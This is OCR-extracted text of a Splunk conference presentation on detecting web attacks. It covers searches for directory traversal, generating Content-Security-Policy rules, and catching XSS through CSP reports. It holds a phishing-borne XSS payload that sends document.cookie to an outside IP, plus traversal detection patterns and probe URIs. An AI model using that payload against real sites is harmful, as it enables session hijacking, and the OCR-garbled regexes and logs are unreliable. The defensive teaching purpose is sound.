<pre>tstats values(Web.uri_path) as uri_path_Values FROM datamodel=Web by Web.src, Web.status regex uri_path_Values="(?:\x5c (?:%(?:c(?:0%(?:[2aq]f 5c 9v) 1%(?:19p]c 8s af)) 2(?:5(?:c(?:0%25af 1%259c) 2f 5c) %46 f) (?:(?:f(?:8%8)?0%8 e)0%80%a bg%q)f %3(?:2(?:%(?:%6 4)6 F) 5%%63) u(?:221[56] 002f EFC8 F025) 1u 5c) 0x(?:2 /))(?:%(?:(?:f(?:(?:c%80 8)%8)?0%8 e)0%80%ae 2(?:(?:5(?:c0%25af 1%259c) 2f 5c) %46 f) (?:(?:f(?:8%8)?0%8 e)0%80%ae 2(?:(?:5(?:c0%25af 1%259c) 2f 5c) %46 f) (?:(?:f(?:8%8)?0%8 e)0%80%a bg%q)f %3(?:2(?:%(?:6(?:0%25af 1%259c) 2f 5c) %46 f) (?:(?:f(?:8%8)?0%8 e)0%80%a bg%q)f %3(?:2(?:%(?:6(?:0%25af 1%259c) 2f 5c) %46 f) (?:(?:f(?:8%8)?0%8 e)0%80%a bg%q)f %3(?:2(?:%(2:6(?:%(2:6(2:0%25af 1%259c) 2f 5c) 002f EFC8 F025) 1u 5c) 0x(?:2f 5c) /))"</pre>		C
inalizing job No Event Sampling 🗸 Job 🗸 II 🔳	r 🖶 🚽 🥊 Smart Mo	Лоde
vents Patterns Statistics (2) Visualization		
100 Per Page V Format V Preview V		
eb.src \diamond Web.status \diamond we_path_Values \diamond		
207 302 / /Class.classLoader.resources.cacheObjectMaxSize=foo //Class.classLoader.resources.cacheObjectMaxSize=foo //Class.classLoader.resources.cacheObjectMaxSize=foo //Class.classLoader.resources.cacheObjectMaxSize=foo //Class.classLoader.resources.cacheObjectMaxSize=foo //Class.classLoader.resources.cacheObjectMaxSize=foo //Class.classLoader.resources.cacheObjectMaxSize=foo //Class.classLoader.resources.cacheObjectMaxSize=foo //Class.classLoader.resources.cacheObjectMaxSize=foo //Class.classLoader.resources.cacheObjectMaxSize=foo //Class.classLoader.resources.cacheObjectMaxSize=foo //Class.classLoader.resources.cacheObjectMaxSize=foo //CFIDE/JaMinapi/Customtags/fuseb.cfcrwal //CFIDE/JaMinapi/Customtags/fuseb.ccfm //CFIDE/JaMinapi/Customtags/fuseb.ccfm //CFIDE/JaMinapi/Customtags/fuseb.ccfm //CFIDE/JaMinapi/Customtags/fuseb.ccfm //CFIDE/JaMinapi/Customtags/fuseb.ccfm //CFIDE/JaMinapi/Customtags/fuseb.ccfm //CFIDE/JaMinapi/Customtags/fuseb.ccfm //CFIDE/JaMinapi/Customtags/fuseb.ccfm //CFIDE/JaMinapi/Customtags/fuseb.ccfm //CFIDE/JaMinapi/Customtags/fuseb.ccfm //CFIDE/JaMinistrator/enter.cfm //CFIDE/JaMinistrator/enter.cfm //CFIDE/JaMinistrator/enter.cfm //CFIDE/JaMinistrator/enter.cfm //CFIDE/JaMinistrator/enter.cfm //CFIDE/JaMinistrator/enter.cfm //CFIDE/JaMinistrator/enter.cfm //CFIDE/JaMinistrator/enter.cfm //CFIDE/JaMinistrator/enter.cfm //CFIDE/JaMinistrator/enter.cfm //CFIDE/JaMinistrator/enter.cfm //CFIDE/JaMinistrator/enter.cfm //CFIDE/JaMinistrator/enter.cfm //CFIDE/JaMinistrator/enter.cfm //CFIDE/Jopener.l////J./J./J./J./J./J./J./J./J./J./J./J./		

"GET /category.screen?category_id=GIFTS&ISESSIONID=SD1SL4FF10ADFF10 HTTP 1.1" 404 720 "http://buttercup-shopping.com/category.act



Example (cont.)

Looking for directory traversal: regex

Use tstats to search for sessions with suspicious content in key fields

Q New Search	Save As ✓	Close
tstats values(Web.uri_path) as uri_path_Values FROM datamodel=Web by Web.src, Web.status	Last 7 days ∽	Q
<pre>regex uri_path_Values="(?:\x5c (?:%(?:c(?:0%(?:[2aq]f 5c 9v) 1%(?:[19p]c 8s af)) 2(?:5(?:c(?:0%25af 1%259c) 2f 5c) %46 f) (?:(?:f(?:8%8)?0%8 e)0%80%a bg%q)f %3(?:2(?:%(?:%(4)6 F) 5%%63) u(?:221[56] 002f EFC8 F025) 1u 5c) 0x(?:2f 5c) %46 f) (?:(?:%(?:c(?:0%)) 1%(?:[19p]c 8s af)) 2(?:5))))))))))))))))))))))))))))))))))))</pre>		
Finalizing job No Event Sampling 🗸 🗎 a 👌 🛓	📍 Smart Mo	ode 🗸
Events Patterns Statistics (2) Visualization		
100 Per Page V /Format V Preview V		
Web.src \diamond / Web.status \diamond uri_path_Values \diamond		1
52.207 302 / Class class Loader resources. cacheObjectMaxSizer6o / Class classLoader resources. classLiphices. c		



Use Case #3

Generate policies from your data!

Automatically create CSP policies by collecting the data

Q New Search								
<pre>1 index=csp NOT csp-report.blocked-uri="" 2 rex field=csp-report.blocked-uri "(?<domain2>^(?:https?:\/\/)?(?:[^@\n]+@)?(?:ww\.)?([^:\/\n]+))" 3 rex field=domain2 "(?<domain>(?<=\.)\w+\.\w+\$)" rex mode=sed field=domain "s/https:\/\/www\.//" 4 rex mode=sed field=domain "s/https:\////" 5 eval all_subdomains="*.".domain 6 regex domain!="(25[0-5] 2[0-4][0-9] [01]?[0-9][0-9])" 7 stats values(domain) as v_domain, values(all_subdomains) as v_as by csp-report.effective-directive 8 mvcombine delim=" " v_domain 9 nomv v_domain 10 mvcombine delim=" " v_as 11 nomv v_as 12 rename csp-report.effective-directive as directive 13 eval line_policy=directive." ".v_domain." ".v_as.";" 14 stats values(line_policy) as v_lp</domain></domain2></pre>								
 ✓ 1,382 events (7/15/17 3:35:36.000 PM to 8/14/17 3:35:36.000 PM) No Event Sampling ∨ 								
Events Patterns Statistics (1) Visualization								
20 Per Page 🗸 🖌 Format 🛛 Preview 🗸								
v_lp ≎								
font-src bootstrapcdn.com gstatic.com *.bootstrapcdn.com *.gstatic.com; frame-src facebook.com *.facebook.com; img-src facebook.com googleapis.com gstatic.com olark.com *.facebook.com *.googleapis.com *.gstatic.com *.olark.com; script-src facebook.net googleapis.com *.facebook.net *.googleapis.com; style-src bootstrapcdn.com googleapis.com olark.com *.bootstrapcdn.com *.googleapis.com *.olark.com;								



Use Case #4

XSS examples from BOTS v2.0

► A well developed policy should result in high fidelity events for the responder


 \blacktriangleright Detection of injection attempt \rightarrow drilldown into web server logs





BOTS CSP Example

Occurrences of CSP violations





BOTS CSP Example

Content-Security-Policy report-uri



Craft Brew Forums × +

Content-Security-Policy:

Content-Security-Policy-Report-Only: "script-src

http://www.brewertalk.com/jscripts/ http://www.brewertalk.com/admin/jscripts/; report-uri http://ec2-52-40-10-231.us-west-

2.compute.amazonaws.com:8088/services/collector/raw? \

```
channel=6097FCB4-BEDF-4922-A75D-EE766DDFE9C5& \
```


token=6097FCB4-BEDF-4922-A75D-EE766DDFE9C5;"

raft B	Brew Forums		Content Security Policy: The page's settings observed brewertalk.c the loading of a resource at self ("script-src		
Gene	ral	<pre>http://www.brewertalk.com/jscripts/ http://www.brewertalk.com/admin/jscripts/"). A CSP report is being sent. Source: onclick attribute on A</pre>			
Forum		Threads	Posts	Las	element.
	All Grain Brewing Discuss questions and ideas related to all grain brewing	1	1		
•	Yeast and Fermentation Discuss issues related to yeast and/or fermentation	1	1		
_	General Homebrew Discussion Feel free to talk about anything and everything homebrew related that doesn't fit any other category.	1	2		
	Kegging and Bottling	0	0	N	





BOTS CSP Example Filtering





splunk>



It All Started With a Little Phishing

RE: brewertalk.com			
(i) A Microsoft Corporation (US) https://outlook.office.com/owa/projection.aspx			
Preply all ✓ million million text-align: center; <b href="mailto:text-align: center;">text-align: center; <b href="mailto:text-align: center;">text-align: center; <b href="mailto:text-align: center;">text-align: center;text-align: center;			×
RE: brewertalk.com			
T thebeerguy2112@gmail.com Thu 8/10, 2:31 PM	¢2	٠	♦ Reply all ∨

%3Cscript%3Edocument.location%3D%22http%3A%2F%2F45.77.65.211%3A9999%2Fmicr
osoftuserfeedbackservice%3Fmetric%3D%22%20%2B%20document.cookie%3B%3C%2Fscript%3E'>



I think you are the w manager for <u>brewertalk.com</u>. I'm having trouble logging in. >From my new account. Can you give it to me? I see errors on <u>this page</u>. -The Beer Guy





Save As ✓ Close

All time ∽

Q

XSS Captured in Splunk via CSP

Q New Search

index=main sourcetype=csp-violation csp-report.document-uri=*document.cookie*

7 events (7/31/17 5:00:00.000 PM to 9/25/17 9:05:56.000 AM) No Event Sampling ~

Job 🗸 🔢 🔳 🤌 🍓 🛓 🛛 📍 Smart Mode 🗸

index=main sourcetype=csp-violation csp-report.document-uri=*document.cookie*

55	Show Fields L	List 🗸 🖌 Format 20 Per Page 🗸	
i	Time	Event	
>	8/15/17	{ [-]	
	4:36:41.000 PM		
		blocked-uri: inline disposition: report	
		document-uri: http://www.brewertalk.com/member.php?	
		action=activate&uid=-1&code=%22%3e%3Cscript%3Edocument.location%3D%22http%3A%2F%2F45.77.65.211%3A9999%2Fmicrosoftuserfeedbackservice%3Fmetric%3D%22%20%2B%20document.cookie%3B%3C%2Fscript%3E	
		effective-directive: script-src	
		line-number: 129	
		original-policy: script-src http://www.brewertalk.com/jscripts/ http://www.brewertalk.com/admin/jscripts/; report-uri http://ec2-52-40-10-231.us-west-	
		<pre>2.compute.amazonaws.com:8088/services/collector/raw?channel=6097FCB4-BEDF-4922-A75D-EE766DDFE9C5&token=6097FCB4-BEDF-4922-A75D-EE766DDFE9C5; referrer:</pre>	
		script-sample:	
		<pre>source-file: http://www.brewertalk.com/member.php?</pre>	
		action=activate&uid=-1&code=%22%3e%3Cscript%3Edocument.location%3D%22http%3A%2F%2F45.77.65.211%3A9999%2Fmicrosoftuserfeedbackservice%3Fmetric%3D%22%20%2B%20document.cookie%3B%3C%2Fscript%3E	
		status-code: 200	
		violated-directive: script-src	
		r Show as raw text	
		host = ec2-52-40-10-231.us-west-2.compute.amazonaws.com:8088 source = CSP Violations from www.brewertalk.com sourcetype = csp-violation	
		nost - coz dz no zonas west z.compete.amazona wsom soon ober molationa nom mmm.brementalik.com	





Save As ✓ Close

All time ∽

Q

XSS Captured in Splunk via CSP

Q New Search

B

of the

index=main sourcetype=csp-violation csp-report.document-uri=*document.cookie*

7 events (7/31/17 5:00:00.000 PM to 9/25/17 9:05:56.000 AM) No Event Sampling ~

Job 🗸 🔢 🔳 🤌 🍓 🛓 🛛 🥊 Smart Mode 🗸

index=main sourcetype=csp-violation csp-report.document-uri=*document.cookie*

Show Fields List V Time Event	
actio	p-report: { [-] blocked-uri: inline disposition: report document-uri: http://www.brewertalk.com/member.php? pn=activate&uid=-1&code=&22%3&&3Cscript%3Edocument.location%3D%22http%3A%2F%2F45.77.65.211%3A9999%2Fmicrosoftuserfeedbackservice%3Fmetric%3D%22%2D%2B%2Odocument.cookie%3B%3C%2Fscript%3E effective-directive: script-src line-number: 129 original-policy: script-src http://www.brewertalk.com/in/jscripts/; report-uri http://ec2-52-40-10-231.us-west- port:
} Show host =	a



Key Takeaways

Key Takeaways

The Road to Web Application Defense

- 1. Treat your web apps like other security sources in your environment (i.e. monitor, report, alert).
- 2. Default and even operations-centric logging may not be sufficient for typical security detection and response situations.
- 3. Leverage CSP for an additional layer of security that helps to detect and mitigate against attacks, such as XSS and injection.



Next Steps for Getting Started

Credit Karma



How Do I Get Started?

- Check out the resources provided in this presentation
- Fully understand your web stack and environment
- Determine and engage your stakeholders
- Start with a report-only policy





Q&A


P222.50



Thank You

Don't forget to rate this session in the .conf2017 mobile app





Resources



Resources (1)

- OWASP Top Ten Project: <u>https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project</u>
- Splunk Enterprise for Information Security Hands-On: <u>https://www.slideshare.net/Splunk/splunk-enterprise-for-infosec-handson</u>
- Splunk>dev Logging Best Practices: <u>http://dev.splunk.com/view/logging/SP-CAAAFCK</u>
- Apache HTTP Server v2.4 Log Files: <u>https://httpd.apache.org/docs/2.4/logs.html</u>
- NGINX Configuring Logging: <u>https://www.nginx.com/resources/admin-guide/logging-and-monitoring/</u>
- IIS Logging Overview: <u>https://msdn.microsoft.com/en-us/library/ms525410(v=vs.90).aspx</u>

duct.screen?product_id=FL-DSH-01&JS

Content Security Policy Reference: https://content-security-policy.com/



splunk

Resources (2)

- Introduction to Splunk HTTP Event Collector (HEC): <u>http://dev.splunk.com/view/event-collector/SP-CAAAE6M</u>
- CSP Is Dead, Long Live CSP! <u>https://research.google.com/pubs/pub45542.html</u>
- GitHub's CSP Journey: <u>https://githubengineering.com/githubs-csp-journey/</u> <u>https://githubengineering.com/githubs-post-csp-journey/</u>
- Mozilla Developers CSP: <u>https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP</u>